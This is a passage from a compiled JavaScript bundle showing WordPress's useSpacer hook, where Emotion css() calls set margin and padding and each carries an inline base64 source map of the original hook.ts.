xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(marginLeft) && rtl({
23792 marginLeft: space(marginLeft)
23793 })(), isDefined(marginRight) && rtl({
23794 marginRight: space(marginRight)
23795 })(), isDefined(padding2) && /* @__PURE__ */ css("padding:", space(padding2), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBMEVNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(paddingY2) && /* @__PURE__ */ css("padding-bottom:", space(paddingY2), ";padding-top:", space(paddingY2), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBOEVNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(paddingX) && /* @__PURE__ */ css("padding-left:", space(paddingX), ";padding-right:", space(paddingX), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBbUZNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(paddingTop) && /* @__PURE__ */ css("padding-top:", space(paddingTop), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBd0ZNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(paddingBottom) && /* @__PURE__ */ css("padding-bottom:", space(paddingBottom), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# 